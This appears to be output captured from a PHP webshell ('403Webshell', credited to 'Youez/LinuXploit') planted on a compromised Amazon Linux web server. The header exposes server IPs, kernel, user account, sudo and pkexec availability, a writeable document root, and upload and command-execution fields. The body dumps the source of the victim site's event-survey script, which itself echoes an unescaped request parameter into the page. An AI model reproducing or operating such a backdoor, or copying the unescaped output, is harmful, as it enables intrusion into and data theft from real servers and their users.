403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/survey.php
<?php 
	use classes\lib\CGRewards;

	//error_reporting(E_ALL);
	//error_reporting(0);
	define('RSVP_IP_LIMITER', 3);
	require_once('mod/_sanitize.php');
	//header("HTTP/1.1 202 Accepted");
	header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
	header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
	header("Cache-Control: no-store, no-cache, proxy-revalidate, must-revalidate");
	header("Cache-Control: post-check=0, pre-check=0", false);
	header("Cache-Control: max-age=10000000, s-maxage=1000000");
	header("Pragma: no-cache");
	session_start();
	include_once('config.php');
	date_default_timezone_set(APP_TIMEZONE);
	try {
		$db = new PDO(DB_CONNECT_STRING, DB_USER, DB_PWD);
	} catch (Exception $e) {
		die('Could not connect: ' . 'Database Error!');
	}
	$sql_tz = "SET time_zone = '".APP_TIMEZONE."'";
	$db->query($sql_tz);
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	require_once('mod/_functions.php');
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<?php
		if ((isset($_SERVER['HTTP_X_MOZ'])) && ($_SERVER['HTTP_X_MOZ'] == 'prefetch')) :
			// This is a prefetch request. Block it.
			header('HTTP/1.0 403 Forbidden');
			echo '403: Forbidden<br><br>Prefetching not allowed here.';
			die();
		endif;	
	?>
	<!--<link type="text/css" href="css/south-street/jquery-ui-1.8.1.custom.css" rel="stylesheet" />-->
	<link rel="shortcut icon" href="favicon.ico" />
	<link rel="stylesheet" href="css/lcs_db_grid.css?ver=<?php echo filemtime(__DIR__.'/css/lcs_db_grid.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/main.css?ver=<?php echo filemtime(__DIR__.'/css/main.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/main_mobile.css?ver=<?php echo filemtime(__DIR__.'/css/main_mobile.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/datePicker.css?ver=<?php echo filemtime(__DIR__.'/css/datePicker.css') ?>" type="text/css" />
	<link rel="stylesheet" href="css/survey.css?ver=<?php echo filemtime(__DIR__.'/css/survey.css') ?>" type="text/css" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name=viewport content="width=device-width, initial-scale=1">
	<meta http-equiv="cache-control" content="no-cache" />
	<meta http-equiv="pragma" content="no-cache" />
	<meta name="description" content="Davler Media Group - City Guide Event RSVP" />
	<meta name="keywords" content="Davler,Media,Group,City,Guide,Event,RSVP" />
	<title>City Guide | Event RSVP</title>
	<script type="text/javascript" src="js/jquery-1.11.2.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery-1.11.2.min.js') ?>"></script>
	<script type="text/javascript" src="js/jquery-migrate-1.2.1.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery-migrate-1.2.1.min.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.form.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.form.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.ui.touch-punch.min.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.ui.touch-punch.min.js') ?>"></script>
	<script type="text/javascript" src="js/date.js?ver=<?php echo filemtime(__DIR__.'/js/date.js') ?>"></script>
	<script type="text/javascript" src="js/jquery.datePicker.js?ver=<?php echo filemtime(__DIR__.'/js/jquery.datePicker.js') ?>"></script>
	<?php
		if (empty($_GET['key'])) :
			die('Not Authorized!');
		endif;
		$successful_submission = false;
		$sql_concierges = "
			SELECT sr.*, s.survey_template_id, s.expiration_date, e.event_id, e.event_name, e.event_date_time, e.online_rsvp_artwork, c.first_name, c.last_name, CONCAT(c.first_name, ' ', c.last_name) AS combined_name, h.hotel_name AS org, title, (CASE WHEN c.primary_email > ' ' THEN c.primary_email ELSE c.secondary_email END) AS email, 'concierge' AS guest_type, c.cgr, s.cgr_type_id, cgrt.points AS cgr_points FROM surveys_responders sr 
				JOIN surveys s ON (s.id = sr.survey_id)
				JOIN events e ON (s.event_id = e.event_id)
				JOIN concierges c ON (c.concierge_id = sr.concierge_id)
				LEFT JOIN hotels h ON (c.hotel_id = h.hotel_id)
				LEFT JOIN cg_reward_types cgrt ON (cgrt.id = s.cgr_type_id)
		";
		$sql_guests = "
			SELECT sr.*, s.survey_template_id, s.expiration_date, e.event_id, e.event_name, e.event_date_time, e.online_rsvp_artwork, g.first_name, g.last_name, CONCAT(g.first_name, ' ', g.last_name) AS combined_name, g.company AS org, title, g.email, 'guest' AS guest_type, 0 AS cgr, s.cgr_type_id, NULL AS cgr_points FROM surveys_responders sr 
				JOIN surveys s ON (s.id = sr.survey_id)
				JOIN events e ON (s.event_id = e.event_id)
				JOIN guests g ON (g.guest_id = sr.guest_id) 
		";
		$sql = 'SELECT * FROM ((' . $sql_concierges . ') UNION (' . $sql_guests . ')) AS srr '.
				"WHERE hash_key = ".$db->quote($_GET['key'])." AND responded_date IS NULL AND expiration_date + INTERVAL 1 DAY > NOW() ";
		$result = $db->query($sql) or die('Database Error!');
		if ($result->rowCount() < 1) :
			die('<h1>Looks like this survey link is no longer valid!</h1>');
		endif;
		$row = $result->fetch(PDO::FETCH_OBJ);
		$sql = "SELECT * FROM survey_template_questions WHERE survey_template_id = {$row->survey_template_id} ORDER BY seq";
		$result_q = $db->query($sql) or die('Database Error!');
		$ar_q = [];
		$ar_survey_fields = [];
		while ($row_q = $result_q->fetch(PDO::FETCH_OBJ)) :
			$ar_q[] = $row_q;
			$field_name = snake_case($row_q->question_text);
			$ar_survey_fields[$field_name] = [
				'seq' => $row_q->seq,
				'question_type' => $row_q->question_type,
			];
		endwhile;

		form_prep('frm_survey', 'basic_info', '', false);
		if ($_POST['ajax_event_submitted'] == '1') :
			form_prep_submit();
			form_validate_all();
			if (!$err_flag) :
				try {
					$db->beginTransaction();
					$sql = "UPDATE surveys_responders SET responded_date = NOW() WHERE hash_key = {$db->quote($_GET['key'])}";
					$db->query($sql);
					foreach($_SESSION['ar_fields_'.$xform_fid] as $key => $value) :
						$sql = "
							INSERT INTO surveys_responders_questions
							SET
								survey_id = {$row->survey_id},
								survey_responder_id = {$row->id},
								seq = {$ar_survey_fields[$key]['seq']},
								question_type = {$db->quote($ar_survey_fields[$key]['question_type'])},
								question_text = {$db->quote($key)},
								answer_value = {$db->quote($_POST[$key])}
						";
						$db->query($sql);
					endforeach;
					if (!empty($row->cgr) && !empty($row->cgr_points)) :
						CGRewards::create_cg_reward($row->concierge_id, $row->event_id, $row->cgr_type_id, $row->cgr_points, 'Automatically applied for survey completion');
					endif;
					$db->commit();
				} catch(Exception $e) {
					db_err_rollback($e);
				}
				$form_message = "Saved sucessfully!";
				$successful_submission = true;
				form_uid_reset();
			else :
				$active_tab = $err_tab;
				$form_message = "Errors found!";
			endif;
		endif;
	?>
	
	<script type="text/javascript">
	</script>
</head>

<body>
	<div class="main">
		<img src="rsvp_artwork/<?php echo $row->online_rsvp_artwork; ?>" class="artwork" /> 
		<br />
		<h1>SURVEY</h1>
		<h1><?=$row->event_name ?></h1>
		<h1><?=date('l, F j, Y', strtotime($row->event_date_time)) ?></h1>
		<?php if ($successful_submission) : ?>
			<h2>Thank you for your submission!</h2>
			<?php
				if (!empty($row->cgr) && !empty($row->cgr_points)) :
					echo '<p><b>You will receive ' . $row->cgr_points . ' CGR points for completing this survey.</b></p>';
				endif;
			?>
			<a href="https://www.cityguideny.com/">Back to City Guide</a>
		<?php else : ?>
			<form name="frm_survey" id="frm_survey" method="post" action="">
				<input name="ajax_event_submitted" type="hidden" value="1" />
				<input name="key" type="hidden" value="<?php echo $_REQUEST['key']; ?>" />
				<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
				<?php
					if (!empty($row->cgr) && !empty($row->cgr_points)) :
						echo '<p><b>Thank you for completing this survey, your feedback is greatly appreciated.<br>
						As a member of City Guide Rewards, you will receive ' . $row->cgr_points . ' points for your participation.</b></p>';
					elseif ($row->guest_type == 'concierge') :
						echo '<p><b>Thank you for completing this survey, your feedback is greatly appreciated.<br>
						We would like to reward you for attending events, completing surveys, and selling tickets to your<br>
						guests through Guest Tickets Express.  Sign up today at <a href="https://www.cityguideny.com/gtesignup/" target="_blank">cityguideny.com/gtesignup</a></b></p>';
					endif;
					echo '<p><b>This survey expires on  ' . date('l, F j, Y', strtotime($row->expiration_date)) . ' </b></p>';
					echo form_message($form_message);
					form_column_start('max-width:750px;');

					foreach ($ar_q as $row_q) :
						$field_name = snake_case($row_q->question_text);
						$field_label = htmlspecialchars($row_q->question_text);
						$ar_answer_list = preg_split("/\r\n|\n|\r/", $row_q->answer_list);
						if (!empty($row_q->auto_populate_field) && empty($_POST[$field_name])) :
							$_POST[$field_name] = $row->{$row_q->auto_populate_field};
						endif;
						switch ($row_q->question_type) :
							case 'text_line' :
								form_field(['fname'=>$field_name, 'ftype'=>'text', 'fsize'=>250, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label]);
								break;
							case 'text_box' :
								form_field(['fname'=>$field_name, 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>6, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label]);
								break;
							case 'email' :
								form_field(['fname'=>$field_name, 'ftype'=>'text', 'datatype'=>'email', 'fsize'=>250, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label]);
								break;
							case 'radio_group' :
								form_field(['fname'=>$field_name, 'ftype'=>'radiogroup', 'fsize'=>250, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label, 'ar_group'=>$ar_answer_list, 'horizontal_layout'=>$row_q->horizontal_layout]);
								break;
							case 'checkbox' :
								form_field(['fname'=>$field_name, 'ftype'=>'checkbox', 'fsize'=>250, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label, 'ar_group'=>$ar_answer_list]);
								break;
							case 'checkbox_group' :
								form_field(['fname'=>$field_name, 'ftype'=>'checkgroup', 'fsize'=>250, 'frequired'=>$row_q->required, 'readonly'=>$row_q->read_only, 'fdbname'=>'', 'flabel'=>$field_label, 'ar_group'=>$ar_answer_list, 'horizontal_layout'=>$row_q->horizontal_layout]);
								break;
						endswitch;
					endforeach;

					form_column_end();
					$strip_buttons = [
						'save' => [
							'show' => true,
							'caption' => 'Submit',
							'js' => "sheet_dirty = false; this.form.submit();",
						],
						'cancel' => [
							'show' => true,
							'caption' => 'Cancel',
							'js' => "sheet_dirty = false; location.href='https://www.cityguideny.com/';",
						],
						'save_close' => [
							'show' => false,
						],
						'save_new' => [
							'show' => false,
						],
					];
					form_button_strip('bottom', $strip_buttons, false);
				?>
			</form>
		<?php endif; ?>
	</div>
</body>
<script src='https://www.google.com/recaptcha/api.js' async defer ></script>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit